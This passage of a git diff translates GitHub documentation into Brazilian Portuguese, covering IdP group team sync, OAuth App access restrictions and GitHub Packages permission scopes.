-Before you can connect a {% data variables.product.product_name %} team with an IdP group, you must first configure user provisioning for {% data variables.product.product_location %} using a supported System for Cross-domain Identity Management (SCIM). For more information, see "[Configuring user provisioning for your enterprise](/admin/authentication/configuring-user-provisioning-for-your-enterprise)."
+Antes de conectar uma equipe de {% data variables.product.product_name %} a um grupo de IdP, primeiro você deve configurar o provisionamento de usuários para {% data variables.product.product_location %} usando um Sistema suportado para Gerenciamento de Identidade entre Domínios (SCIM). Para obter mais informações, consulte "[Configurar provisionamento do usuário para sua empresa](/admin/authentication/configuring-user-provisioning-for-your-enterprise)".
 
-Once user provisioning for {% data variables.product.product_name %} is configured using SCIM, you can assign the {% data variables.product.product_name %} application to every IdP group that you want to use on {% data variables.product.product_name %}. For more information, see [Configure automatic user provisioning to GitHub AE](https://docs.microsoft.com/en-us/azure/active-directory/saas-apps/github-ae-provisioning-tutorial#step-5-configure-automatic-user-provisioning-to-github-ae) in the Microsoft Docs.
+Quando o provisionamento de {% data variables.product.product_name %} for configurado usando o SCIM, você poderá atribuir o aplicativo de {% data variables.product.product_name %} a cada grupo de IdP que você deseja usar em {% data variables.product.product_name %}. Para obter mais informações, consulte [Configurar o provisionamento automático do usuário no GitHub AE](https://docs.microsoft.com/en-us/azure/active-directory/saas-apps/github-ae-provisioning-tutorial#step-5-configure-automatic-user-provisioning-to-github-ae) na documentação da Microsoft.
 {% endif %}
 
-## Connecting an IdP group to a team
+## Conectar um grupo de IdP a uma equipe
 
-When you connect an IdP group to a {% data variables.product.product_name %} team, all users in the group are automatically added to the team. {% ifversion ghae %}Any users who were not already members of the parent organization members are also added to the organization.{% endif %}
+Ao conectar um grupo de IdP a uma equipe de {% data variables.product.product_name %}, todos os usuários do grupo serão automaticamente adicionados à equipe. {% ifversion ghae %}Todos os usuários que não eram integrantes dos da organização principal também serão adicionados à organização.{% endif %}
 
 {% data reusables.profile.access_org %}
 {% data reusables.user_settings.access_org %}
 {% data reusables.organizations.specific_team %}
 {% data reusables.organizations.team_settings %}
 {% ifversion ghec %}
-6. Under "Identity Provider Groups", use the drop-down menu, and select up to 5 identity provider groups.
-    ![Drop-down menu to choose identity provider groups](/assets/images/help/teams/choose-an-idp-group.png){% elsif ghae %}
-6. Under "Identity Provider Group", use the drop-down menu, and select an identity provider group from the list.
-    ![Drop-down menu to choose identity provider group](/assets/images/enterprise/github-ae/teams/choose-an-idp-group.png){% endif %}
-7. Click **Save changes**.
+6. Em "Grupos de provedores de identidade", use o menu suspenso e selecione até 5 grupos de provedores de identidade. ![Drop-down menu to choose identity provider groups](/assets/images/help/teams/choose-an-idp-group.png){% elsif ghae %}
+6. No "Grupo de Provedores de Identidade", use o menu suspenso e selecione um grupo de provedores de identidade na lista. ![Drop-down menu to choose identity provider group](/assets/images/enterprise/github-ae/teams/choose-an-idp-group.png){% endif %}
+7. Clique em **Save changes** (Salvar alterações).
 
-## Disconnecting an IdP group from a team
+## Desconectar um grupo de IdP de uma equipe
 
-If you disconnect an IdP group from a {% data variables.product.prodname_dotcom %} team, team members that were assigned to the {% data variables.product.prodname_dotcom %} team through the IdP group will be removed from the team. {% ifversion ghae %} Any users who were members of the parent organization only because of that team connection are also removed from the organization.{% endif %}
+Se desconectar um grupo de IdP de uma equipe do {% data variables.product.prodname_dotcom %}, os integrantes da equipe atribuídos à equipe do {% data variables.product.prodname_dotcom %} por meio do grupo de IdP serão removidos da equipe. {% ifversion ghae %} Todos os usuários que eram integrantes da organização principal apenas por causa da conexão com a equipe também serão removidos da organização.{% endif %}
 
 {% data reusables.profile.access_org %}
 {% data reusables.user_settings.access_org %}
 {% data reusables.organizations.specific_team %}
 {% data reusables.organizations.team_settings %}
 {% ifversion ghec %}
-6. Under "Identity Provider Groups", to the right of the IdP group you want to disconnect, click {% octicon "x" aria-label="X symbol" %}. 
-    ![Unselect a connected IdP group from the GitHub team](/assets/images/help/teams/unselect-idp-group.png){% elsif ghae %}
-6. Under "Identity Provider Group", to the right of the IdP group you want to disconnect, click {% octicon "x" aria-label="X symbol" %}. 
-    ![Unselect a connected IdP group from the GitHub team](/assets/images/enterprise/github-ae/teams/unselect-idp-group.png){% endif %}
-7. Click **Save changes**.
+6. Em "Grupos de provedores de identidade", à direita do grupo de IdP que você deseja desconectar, clique em {% octicon "x" aria-label="X symbol" %}. ![Unselect a connected IdP group from the GitHub team](/assets/images/help/teams/unselect-idp-group.png){% elsif ghae %}
+6. Em "Grupo de Provedores de Identidade", à direita do grupo de IdP que você deseja desconectar, clique em {% octicon "x" aria-label="X symbol" %}. ![Unselect a connected IdP group from the GitHub team](/assets/images/enterprise/github-ae/teams/unselect-idp-group.png){% endif %}
+7. Clique em **Save changes** (Salvar alterações).
diff --git a/translations/pt-BR/content/organizations/restricting-access-to-your-organizations-data/about-oauth-app-access-restrictions.md b/translations/pt-BR/content/organizations/restricting-access-to-your-organizations-data/about-oauth-app-access-restrictions.md
index 9e952acc4d..5e3c130176 100644
--- a/translations/pt-BR/content/organizations/restricting-access-to-your-organizations-data/about-oauth-app-access-restrictions.md
+++ b/translations/pt-BR/content/organizations/restricting-access-to-your-organizations-data/about-oauth-app-access-restrictions.md
@@ -1,6 +1,6 @@
 ---
-title: About OAuth App access restrictions
-intro: 'Organizations can choose which {% data variables.product.prodname_oauth_apps %} have access to their repositories and other resources by enabling {% data variables.product.prodname_oauth_app %} access restrictions.'
+title: Sobre restrições de acesso do aplicativo OAuth
+intro: 'As organizações podem escolher quais {% data variables.product.prodname_oauth_apps %} têm acesso aos seus repositórios e outros recursos, habilitando as restrições de acesso de {% data variables.product.prodname_oauth_app %}.'
 redirect_from:
   - /articles/about-third-party-application-restrictions
   - /articles/about-oauth-app-access-restrictions
@@ -11,58 +11,58 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: OAuth App access
+shortTitle: Acesso ao aplicativo OAuth
 ---
 
-## About OAuth App access restrictions
+## Sobre restrições de acesso do aplicativo OAuth
 
-When {% data variables.product.prodname_oauth_app %} access restrictions are enabled, organization members cannot authorize {% data variables.product.prodname_oauth_app %} access to organization resources. Organization members can request owner approval for {% data variables.product.prodname_oauth_apps %} they'd like to use, and organization owners receive a notification of pending requests.
+Quando as restrições de acesso do {% data variables.product.prodname_oauth_app %} são habilitadas, os integrantes da organização não podem autorizar o acesso do {% data variables.product.prodname_oauth_app %} aos recursos da organização. Os integrantes da organização podem solicitar a aprovação do proprietário para {% data variables.product.prodname_oauth_apps %} que gostariam de usar, e os proprietários da organização receberão uma notificação de solicitações pendentes.
 
 {% data reusables.organizations.oauth_app_restrictions_default %}
 
 {% tip %}
 
-**Tip**: When an organization has not set up {% data variables.product.prodname_oauth_app %} access restrictions, any {% data variables.product.prodname_oauth_app %} authorized by an organization member can also access the organization's private resources.
+**Dica**: quando uma organização não configura as restrições de acesso do {% data variables.product.prodname_oauth_app %}, qualquer {% data variables.product.prodname_oauth_app %} autorizado por um integrante da organização também pode acessar os recursos privados da organização.
 
 {% endtip %}
 
 {% ifversion fpt %}
-To further protect your organization's resources, you can upgrade to {% data variables.product.prodname_ghe_cloud %}, which includes security features like SAML single sign-on. {% data reusables.enterprise.link-to-ghec-trial %}
+Para proteger ainda mais os recursos da sua organização, você pode fazer a atualização para {% data variables.product.prodname_ghe_cloud %}, que inclui funcionalidades de segurança como logon único SAML. {% data reusables.enterprise.link-to-ghec-trial %}
 {% endif %}
 
-## Setting up {% data variables.product.prodname_oauth_app %} access restrictions
+## Configurar as restrições de acesso do {% data variables.product.prodname_oauth_app %}
 
-When an organization owner sets up {% data variables.product.prodname_oauth_app %} access restrictions for the first time:
+Quando um proprietário da organização configura as restrições de acesso do {% data variables.product.prodname_oauth_app %} pela primeira vez:
 
-- **Applications that are owned by the organization** are automatically given access to the organization's resources.
-- **{% data variables.product.prodname_oauth_apps %}** immediately lose access to the organization's resources.
-- **SSH keys created before February 2014** immediately lose access to the organization's resources (this includes user and deploy keys).
-- **SSH keys created by {% data variables.product.prodname_oauth_apps %} during or after February 2014** immediately lose access to the organization's resources.
-- **Hook deliveries from private organization repositories** will no longer be sent to unapproved {% data variables.product.prodname_oauth_apps %}.
-- **API access** to private organization resources is not available for unapproved {% data variables.product.prodname_oauth_apps %}. In addition, there are no privileged create, update, or delete actions on public organization resources.
-- **Hooks created by users and hooks created before May 2014** will not be affected.
-- **Private forks of organization-owned repositories** are subject to the organization's access restrictions.
+- Os **aplicativos que a organização possui** recebem acesso automaticamente aos recursos da organização.
+- **{% data variables.product.prodname_oauth_apps %}** perde acesso imediato aos recursos da organização.
+- As **chaves SSH criadas antes de fevereiro de 2014** perdem imediatamente o acesso aos recursos da organização (isso inclui chaves de implantação e usuário).
+- As **chaves SSH criadas pelos {% data variables.product.prodname_oauth_apps %} durante ou após fevereiro de 2014** perdem acesso imediatamente aos recursos da organização.
+- As **Entregas de Hook de repositórios privados** não serão mais enviadas para {% data variables.product.prodname_oauth_apps %} não aprovado.
+- O **Acesso da API** a recursos da organização privada não está disponível para {% data variables.product.prodname_oauth_apps %} não aprovado. Além disso, não há ações de criação, atualização ou exclusão com privilégios em recursos de organização pública.
+- Os **hooks criados pelos usuários e antes de maio de 2014** não serão afetados.
+- As **bifurcações privadas dos repositórios de propriedade da organização** estão sujeitas às restrições de acesso da organização.
 
-## Resolving SSH access failures
+## Resolver falhas de acesso de SSH
 
-When an SSH key created before February 2014 loses access to an organization with {% data variables.product.prodname_oauth_app %} access restrictions enabled, subsequent SSH access attempts will fail. Users will encounter an error message directing them to a URL where they can approve the key or upload a trusted key in its place.
+Quando uma chave SSH criada antes de fevereiro de 2014 perde acesso a uma organização com restrições de acesso do {% data variables.product.prodname_oauth_app %} habilitadas, as tentativas de acesso subsequentes do SSH falharão. Os usuários encontrarão uma mensagem de erro direcionando-as a uma URL onde podem aprovar a chave ou fazer upload de uma chave confiável.
 
 ## Webhooks
 
-When an {% data variables.product.prodname_oauth_app %} is granted access to the organization after restrictions are enabled, any pre-existing webhooks created by that {% data variables.product.prodname_oauth_app %} will resume dispatching.
+Quando um {% data variables.product.prodname_oauth_app %} receber acesso à organização depois que as restrições forem habilitadas, os webhooks preexistentes criados por esse {% data variables.product.prodname_oauth_app %} retomarão o envio.
 
-When an organization removes access from a previously-approved {% data variables.product.prodname_oauth_app %}, any pre-existing webhooks created by that application will no longer be dispatched (these hooks will be disabled, but not deleted).
+Quando uma organização remover o acesso de um {% data variables.product.prodname_oauth_app %} anteriormente aprovado, todos os webhooks preexistentes criados por esse aplicativo não serão mais enviados (esses hooks serão desabilitados, mas não excluídos).
 
-## Re-enabling access restrictions
+## Reabilitando restrições de acesso
 
-If an organization disables {% data variables.product.prodname_oauth_app %} access application restrictions, and later re-enables them, previously approved {% data variables.product.prodname_oauth_app %} are automatically granted access to the organization's resources.
+Se uma organização desabilitar as restrições de acesso do {% data variables.product.prodname_oauth_app %} e, posteriormente, reabilitá-las, os {% data variables.product.prodname_oauth_app %}s anteriormente aprovados receberão acesso automaticamente aos recursos da organização.
 
-## Further reading
+## Leia mais
 
-- "[Enabling {% data variables.product.prodname_oauth_app %} access restrictions for your organization](/articles/enabling-oauth-app-access-restrictions-for-your-organization)"
-- "[Approving {% data variables.product.prodname_oauth_apps %} for your organization](/articles/approving-oauth-apps-for-your-organization)"
-- "[Reviewing your organization's installed integrations](/articles/reviewing-your-organization-s-installed-integrations)"
-- "[Denying access to a previously approved {% data variables.product.prodname_oauth_app %} for your organization](/articles/denying-access-to-a-previously-approved-oauth-app-for-your-organization)"
-- "[Disabling {% data variables.product.prodname_oauth_app %} access restrictions for your organization](/articles/disabling-oauth-app-access-restrictions-for-your-organization)"
-- "[Requesting organization approval for {% data variables.product.prodname_oauth_apps %}](/articles/requesting-organization-approval-for-oauth-apps)"
-- "[Authorizing {% data variables.product.prodname_oauth_apps %}](/github/authenticating-to-github/keeping-your-account-and-data-secure/authorizing-oauth-apps)"
+- "[Habilitar restrições de acesso do {% data variables.product.prodname_oauth_app %} para sua organização](/articles/enabling-oauth-app-access-restrictions-for-your-organization)"
+- "[Aprovando {% data variables.product.prodname_oauth_apps %} para sua organização](/articles/approving-oauth-apps-for-your-organization)"
+- "[Revisar integrações instaladas da sua organização](/articles/reviewing-your-organization-s-installed-integrations)"
+- "[Negar acesso ao {% data variables.product.prodname_oauth_app %} anteriormente aprovado para sua organização](/articles/denying-access-to-a-previously-approved-oauth-app-for-your-organization)"
+- "[Desabilitar restrições de acesso do {% data variables.product.prodname_oauth_app %} para sua organização](/articles/disabling-oauth-app-access-restrictions-for-your-organization)"
+- "[Solicitando aprovação da organização para {% data variables.product.prodname_oauth_apps %}](/articles/requesting-organization-approval-for-oauth-apps)"
+- "[Autorizar {% data variables.product.prodname_oauth_apps %}](/github/authenticating-to-github/keeping-your-account-and-data-secure/authorizing-oauth-apps)"
diff --git a/translations/pt-BR/content/organizations/restricting-access-to-your-organizations-data/approving-oauth-apps-for-your-organization.md b/translations/pt-BR/content/organizations/restricting-access-to-your-organizations-data/approving-oauth-apps-for-your-organization.md
index c945c1acab..6708a1f41b 100644
--- a/translations/pt-BR/content/organizations/restricting-access-to-your-organizations-data/approving-oauth-apps-for-your-organization.md
+++ b/translations/pt-BR/content/organizations/restricting-access-to-your-organizations-data/approving-oauth-apps-for-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Approving OAuth Apps for your organization
-intro: 'When an organization member requests {% data variables.product.prodname_oauth_app %} access to organization resources, organization owners can approve or deny the request.'
+title: Aprovar aplicativos OAuth na organização
+intro: 'Quando uma integrante da organização solicita acesso do {% data variables.product.prodname_oauth_app %} aos recursos da organização, os proprietários da organização podem aprová-la ou negá-la.'
 redirect_from:
   - /articles/approving-third-party-applications-for-your-organization
   - /articles/approving-oauth-apps-for-your-organization
@@ -11,18 +11,17 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Approve OAuth Apps
+shortTitle: Aprovar aplicativos OAuth
 ---
-When {% data variables.product.prodname_oauth_app %} access restrictions are enabled, organization members must [request approval](/articles/requesting-organization-approval-for-oauth-apps) from an organization owner before they can authorize an {% data variables.product.prodname_oauth_app %} that has access to the organization's resources.
+
+Quando as restrições de acesso do {% data variables.product.prodname_oauth_app %} são habilitadas, os integrantes da organização devem [solicitar aprovação](/articles/requesting-organization-approval-for-oauth-apps) de um proprietário da organização para que eles possam autorizar um {% data variables.product.prodname_oauth_app %} que tenha acesso aos recursos da organização.
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.oauth_app_access %}
-5. Next to the application you'd like to approve, click **Review**.
-![Review request link](/assets/images/help/settings/settings-third-party-approve-review.png)
-6. After you review the information about the requested application, click **Grant access**.
-![Grant access button](/assets/images/help/settings/settings-third-party-approve-grant.png)
+5. Ao lado do aplicativo que deseja aprovar, clique em **Review** (Revisar). ![Link de solicitação de revisão](/assets/images/help/settings/settings-third-party-approve-review.png)
+6. Depois que revisar as informações sobre o aplicativo solicitado, clique em **Grant access** (Conceder acesso). ![Botão Grant access (Conceder acesso)](/assets/images/help/settings/settings-third-party-approve-grant.png)
 
-## Further reading
+## Leia mais
 
-- "[About {% data variables.product.prodname_oauth_app %} access restrictions](/articles/about-oauth-app-access-restrictions)"
+- "[Sobre restrições de acesso do {% data variables.product.prodname_oauth_app %}](/articles/about-oauth-app-access-restrictions)"
diff --git a/translations/pt-BR/content/organizations/restricting-access-to-your-organizations-data/denying-access-to-a-previously-approved-oauth-app-for-your-organization.md b/translations/pt-BR/content/organizations/restricting-access-to-your-organizations-data/denying-access-to-a-previously-approved-oauth-app-for-your-organization.md
index da3f557b72..7480dcfdf8 100644
--- a/translations/pt-BR/content/organizations/restricting-access-to-your-organizations-data/denying-access-to-a-previously-approved-oauth-app-for-your-organization.md
+++ b/translations/pt-BR/content/organizations/restricting-access-to-your-organizations-data/denying-access-to-a-previously-approved-oauth-app-for-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Denying access to a previously approved OAuth App for your organization
-intro: 'If an organization no longer requires a previously authorized {% data variables.product.prodname_oauth_app %}, owners can remove the application''s access to the organization''s resources.'
+title: Negar acesso a um aplicativo OAuth previamente aprovado para a organização
+intro: 'Se uma organização não requer mais um {% data variables.product.prodname_oauth_app %} previamente autorizado, os proprietários podem remover o acesso do aplicativo aos recursos da organização.'
 redirect_from:
   - /articles/denying-access-to-a-previously-approved-application-for-your-organization
   - /articles/denying-access-to-a-previously-approved-oauth-app-for-your-organization
@@ -11,13 +11,11 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Deny OAuth App
+shortTitle: Negar aplicativo OAuth
 ---
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.oauth_app_access %}
-5. Next to the application you'd like to disable, click {% octicon "pencil" aria-label="The edit icon" %}.
-  ![Edit icon](/assets/images/help/settings/settings-third-party-deny-edit.png)
-6. Click **Deny access**.
-  ![Deny confirmation button](/assets/images/help/settings/settings-third-party-deny-confirm.png)
+5. Ao lado do aplicativo que deseja desabilitar, clique em {% octicon "pencil" aria-label="The edit icon" %}. ![Ícone Edit (Editar)](/assets/images/help/settings/settings-third-party-deny-edit.png)
+6. Clique em **Deny access** (Negar). ![Botão Deny confirmation (Negar confirmação)](/assets/images/help/settings/settings-third-party-deny-confirm.png)
diff --git a/translations/pt-BR/content/organizations/restricting-access-to-your-organizations-data/disabling-oauth-app-access-restrictions-for-your-organization.md b/translations/pt-BR/content/organizations/restricting-access-to-your-organizations-data/disabling-oauth-app-access-restrictions-for-your-organization.md
index 4931bc44cc..737f43ceba 100644
--- a/translations/pt-BR/content/organizations/restricting-access-to-your-organizations-data/disabling-oauth-app-access-restrictions-for-your-organization.md
+++ b/translations/pt-BR/content/organizations/restricting-access-to-your-organizations-data/disabling-oauth-app-access-restrictions-for-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Disabling OAuth App access restrictions for your organization
-intro: 'Organization owners can disable restrictions on the {% data variables.product.prodname_oauth_apps %} that have access to the organization''s resources.'
+title: Desabilitar restrições de acesso do aplicativo OAuth da sua organização
+intro: 'Os proprietários da organização podem desabilitar as restrições em {% data variables.product.prodname_oauth_apps %} que têm acesso aos recursos da organização.'
 redirect_from:
   - /articles/disabling-third-party-application-restrictions-for-your-organization
   - /articles/disabling-oauth-app-access-restrictions-for-your-organization
@@ -11,19 +11,17 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Disable OAuth App
+shortTitle: Desabilitar o aplicativo OAuth
 ---
 
 {% danger %}
 
-**Warning**: When you disable {% data variables.product.prodname_oauth_app %} access restrictions for your organization, any organization member will automatically authorize {% data variables.product.prodname_oauth_app %} access to the organization's private resources when they approve an application for use in their personal account settings.
+**Aviso**: com a desabilitação das restrições de acesso do {% data variables.product.prodname_oauth_app %} da sua organização, qualquer integrante da organização autorizará automaticamente o acesso do {% data variables.product.prodname_oauth_app %} aos recursos privados da organização ao aprovar um aplicativo para ser usado nas configurações de conta pessoal dele.
 
 {% enddanger %}
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.oauth_app_access %}
-5. Click **Remove restrictions**.
-  ![Remove restrictions button](/assets/images/help/settings/settings-third-party-remove-restrictions.png)
-6. After you review the information about disabling third-party application restrictions, click **Yes, remove application restrictions**.
-  ![Remove confirmation button](/assets/images/help/settings/settings-third-party-confirm-disable.png)
+5. Clique em **Remove restrictions** (Remover restrições). ![Botão Remove restrictions (Remover restrições)](/assets/images/help/settings/settings-third-party-remove-restrictions.png)
+6. Depois de revisar as informações sobre desabilitação de restrições de aplicativos de terceiros, clique em **Yes, remove application restrictions** (Sim, remover restrições de aplicativos). ![Botão de remover confirmação](/assets/images/help/settings/settings-third-party-confirm-disable.png)
diff --git a/translations/pt-BR/content/organizations/restricting-access-to-your-organizations-data/enabling-oauth-app-access-restrictions-for-your-organization.md b/translations/pt-BR/content/organizations/restricting-access-to-your-organizations-data/enabling-oauth-app-access-restrictions-for-your-organization.md
index 5ad4a078f8..e5d41758ac 100644
--- a/translations/pt-BR/content/organizations/restricting-access-to-your-organizations-data/enabling-oauth-app-access-restrictions-for-your-organization.md
+++ b/translations/pt-BR/content/organizations/restricting-access-to-your-organizations-data/enabling-oauth-app-access-restrictions-for-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Enabling OAuth App access restrictions for your organization
-intro: 'Organization owners can enable {% data variables.product.prodname_oauth_app %} access restrictions to prevent untrusted apps from accessing the organization''s resources while allowing organization members to use {% data variables.product.prodname_oauth_apps %} for their personal accounts.'
+title: Habilitar restrições de acesso do aplicativo OAuth da sua organização
+intro: 'Os proprietários da organização podem habilitar restrições de acesso do {% data variables.product.prodname_oauth_app %} para impedir que aplicativos não confiáveis acessem recursos da organização ao permitir que integrantes da organização usem {% data variables.product.prodname_oauth_apps %} para suas contas pessoais.'
 redirect_from:
   - /articles/enabling-third-party-application-restrictions-for-your-organization
   - /articles/enabling-oauth-app-access-restrictions-for-your-organization
@@ -11,24 +11,22 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Enable OAuth App
+shortTitle: Ativar aplicativo OAuth
 ---
 
 {% data reusables.organizations.oauth_app_restrictions_default %}
 
 {% warning %}
 
-**Warnings**:
-- Enabling {% data variables.product.prodname_oauth_app %} access restrictions will revoke organization access for all previously authorized {% data variables.product.prodname_oauth_apps %} and SSH keys. For more information, see "[About {% data variables.product.prodname_oauth_app %} access restrictions](/articles/about-oauth-app-access-restrictions)."
-- Once you've set up {% data variables.product.prodname_oauth_app %} access restrictions, make sure to re-authorize any {% data variables.product.prodname_oauth_app %} that require access to the organization's private data on an ongoing basis. All organization members will need to create new SSH keys, and the organization will need to create new deploy keys as needed.
-- When {% data variables.product.prodname_oauth_app %} access restrictions are enabled, applications can use an OAuth token to access information about {% data variables.product.prodname_marketplace %} transactions.
+**Avisos**:
+- A habilitação de restrições de acesso do {% data variables.product.prodname_oauth_app %} revogará o acesso da organização para todos os {% data variables.product.prodname_oauth_apps %} e chaves SSH previamente autorizados. Para obter mais informações, consulte "[Sobre restrições de acesso do {% data variables.product.prodname_oauth_app %}](/articles/about-oauth-app-access-restrictions)".
+- Depois de configurar as restrições de acesso do {% data variables.product.prodname_oauth_app %}, lembre-se de tornar a autorizar qualquer {% data variables.product.prodname_oauth_app %} que requeira acesso aos dados privados da organização continuamente. Todos os integrantes da organização precisarão criar chaves SSH, e a organização precisará criar chaves de implantação conforme necessário.
+- Quando as restrições de acesso do {% data variables.product.prodname_oauth_app %} estiverem habilitadas, os aplicativos poderão usar um token OAuth para acessar informações sobre transações do {% data variables.product.prodname_marketplace %}.
 
 {% endwarning %}
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.oauth_app_access %}
-5. Under "Third-party application access policy," click **Setup application access restrictions**.
-  ![Set up restrictions button](/assets/images/help/settings/settings-third-party-set-up-restrictions.png)
-6. After you review the information about third-party access restrictions, click **Restrict third-party application access**.
-  ![Restriction confirmation button](/assets/images/help/settings/settings-third-party-restrict-confirm.png)
+5. Em "Third-party application access policy" (Política de acesso a aplicativos de terceiros), clique em **Setup application access restrictions** (Configurar restrições de acesso a aplicativos). ![Botão Set up restrictions (Configurar restrições)](/assets/images/help/settings/settings-third-party-set-up-restrictions.png)
+6. Depois de revisar as informações sobre restrições de acesso a terceiros, clique em **Restrict third-party application access** (Restringir acesso a aplicativos de terceiros). ![Botão Restriction confirmation (Confirmação de restrição)](/assets/images/help/settings/settings-third-party-restrict-confirm.png)
diff --git a/translations/pt-BR/content/packages/learn-github-packages/about-permissions-for-github-packages.md b/translations/pt-BR/content/packages/learn-github-packages/about-permissions-for-github-packages.md
index 761cda09ec..96e0e13a81 100644
--- a/translations/pt-BR/content/packages/learn-github-packages/about-permissions-for-github-packages.md
+++ b/translations/pt-BR/content/packages/learn-github-packages/about-permissions-for-github-packages.md
@@ -1,85 +1,87 @@
 ---
-title: About permissions for GitHub Packages
-intro: Learn about how to manage permissions for your packages.
+title: Sobre permissões para o GitHub Packages
+intro: Saiba como gerenciar as permissões dos seus pacotes.
 product: '{% data reusables.gated-features.packages %}'
 versions:
   fpt: '*'
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: About permissions
+shortTitle: Sobre permissões
 ---
 
 {% ifversion fpt or ghec %}
-The permissions for packages are either repository-scoped or user/organization-scoped.
+As permissões para pacotes são do escopo do repositório ou do escopo de usuário/organização.
 {% endif %}
 
-## Permissions for repository-scoped packages
+## Permissões para pacotes com escopo do repositório
 
-A repository-scoped package inherits the permissions and visibility of the repository that owns the package. You can find a package scoped to a repository by going to the main page of the repository and clicking the **Packages** link to the right of the page. {% ifversion fpt or ghec %}For more information, see "[Connecting a repository to a package](/packages/learn-github-packages/connecting-a-repository-to-a-package)."{% endif %}
+Um pacote com escopo de repositório herda as permissões e visibilidade do repositório que possui o pacote. Você pode encontrar um escopo de pacote para um repositório, acessando a página principal do repositório e clicando no link **Pacotes** à direita da página. {% ifversion fpt or ghec %}Para obter mais informações, consulte "[Conectar um repositório a um pacote](/packages/learn-github-packages/connecting-a-repository-to-a-package)."{% endif %}
 
-The {% data variables.product.prodname_registry %} registries below use repository-scoped permissions:
+Os {% data variables.product.prodname_registry %} registros abaixo usam permissões com escopo do repositório:
 
   {% ifversion not fpt or ghec %}- Docker registry (`docker.pkg.github.com`){% endif %}
-  - npm registry
-  - RubyGems registry
-  - Apache Maven registry
-  - NuGet registry
+  - Registro de npm
+  - Registro do Rubygems
+  - Registro do Apache Maven
+  - Registro do NuGet
 
 {% ifversion fpt or ghec %}
-## Granular permissions for user/organization-scoped packages
+## Permissões granulares para pacotes com escopo de usuário/organização
 
-Packages with granular permissions are scoped to a personal user or organization account. You can change the access control and visibility of the package separately from a repository that is connected (or linked) to a package.
+Pacotes com permissões granulares são escopos para uma conta de usuário pessoal ou de organização. Você pode alterar o controle de acesso e a visibilidade do pacote separadamente de um repositório que está conectado (ou vinculado) a um pacote.
 
-Currently, only the {% data variables.product.prodname_container_registry %} offers granular permissions for your container image packages.
+Atualmente, apenas o {% data variables.product.prodname_container_registry %} oferece permissões granulares para os seus pacotes de imagem de contêiner.
 
-## Visibility and access permissions for container images
+## Visibilidade e permissões de acesso para imagens de contêiner
 
 {% data reusables.package_registry.visibility-and-access-permissions %}
 
-For more information, see "[Configuring a package's access control and visibility](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility)."
+Para obter mais informações, consulte "[Configurar o controle de acesso e visibilidade de um pacote](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility)".
 
 {% endif %}
 
-## About scopes and permissions for package registries
+## Sobre escopos e permissões para registros de pacotes
 
-To use or manage a package hosted by a package registry, you must use a token with the appropriate scope, and your user account must have appropriate permissions.
+Para usar ou gerenciar um pacote hospedado por um registro de pacotes, você deve usar um token com o escopo apropriado, e sua conta de usuário deve ter as permissões necessárias.
 
-For example:
--  To download and install packages from a repository, your token must have the `read:packages` scope, and your user account must have read permission.
-- {% ifversion fpt or ghes > 3.0 or ghec %}To delete a package on {% data variables.product.product_name %}, your token must at least have the `delete:packages` and `read:packages` scope. The `repo` scope is also required for repo-scoped packages.{% elsif ghes < 3.1 %}To delete a specified version of a private package on {% data variables.product.product_name %}, your token must have the `delete:packages` and `repo` scope. Public packages cannot be deleted.{% elsif ghae %}To delete a specified version of a package on {% data variables.product.product_name %}, your token must have the `delete:packages` and `repo` scope.{% endif %} For more information, see "{% ifversion fpt or ghes > 3.0 or ghec or ghae %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}."
+Por exemplo:
+-  Para fazer o download e instalar pacotes de um repositório, seu token deve ter o escopo `read:packages` e sua conta de usuário deve ter permissão de leitura.
+- {% ifversion fpt or ghes > 3.0 or ghec %}Para excluir um pacote em {% data variables.product.product_name %}, o seu token deve ter pelo menos o escopo `delete:packages` e `read:packages`. O escopo de `repo` também é necessário para pacotes com escopo de repositórios.{% elsif ghes < 3.1 %}Para excluir uma versão especificada de um pacote privado em {% data variables.product.product_name %}, o seu token deve ter o escopo `delete:packages` e `repo`. Public packages cannot be deleted.{% elsif ghae %}To delete a specified version of a package on {% data variables.product.product_name %}, your token must have the `delete:packages` and `repo` scope.{% endif %} For more information, see "{% ifversion fpt or ghes > 3.0 or ghec or ghae %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}."
 
-| Scope | Description | Required permission |
-| --- | --- | --- |
-|`read:packages`| Download and install packages from {% data variables.product.prodname_registry %} | read |
-|`write:packages`| Upload and publish packages to {% data variables.product.prodname_registry %} | write |
-| `delete:packages` | {% ifversion fpt or ghes > 3.0 or ghec %} Delete packages from {% data variables.product.prodname_registry %} {% elsif ghes < 3.1 %} Delete specified versions of private packages from {% data variables.product.prodname_registry %}{% elsif ghae %} Delete specified versions of packages from {% data variables.product.prodname_registry %} {% endif %} | admin |
-| `repo` | Upload and delete packages (along with `write:packages`, or `delete:packages`) | write or admin |
+| Escopo                                                                                                                                                                                                                                                                                                                                                          | Descrição                                                                             | Permissão necessária |
+| --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------- | -------------------- |
+| `read:packages`                                                                                                                                                                                                                                                                                                                                                 | Faça o download e instale pacotes do {% data variables.product.prodname_registry %}   | leitura              |
+| `write:packages`                                                                                                                                                                                                                                                                                                                                                | Faça o upload e publique os pacotes em {% data variables.product.prodname_registry %} | gravação             |
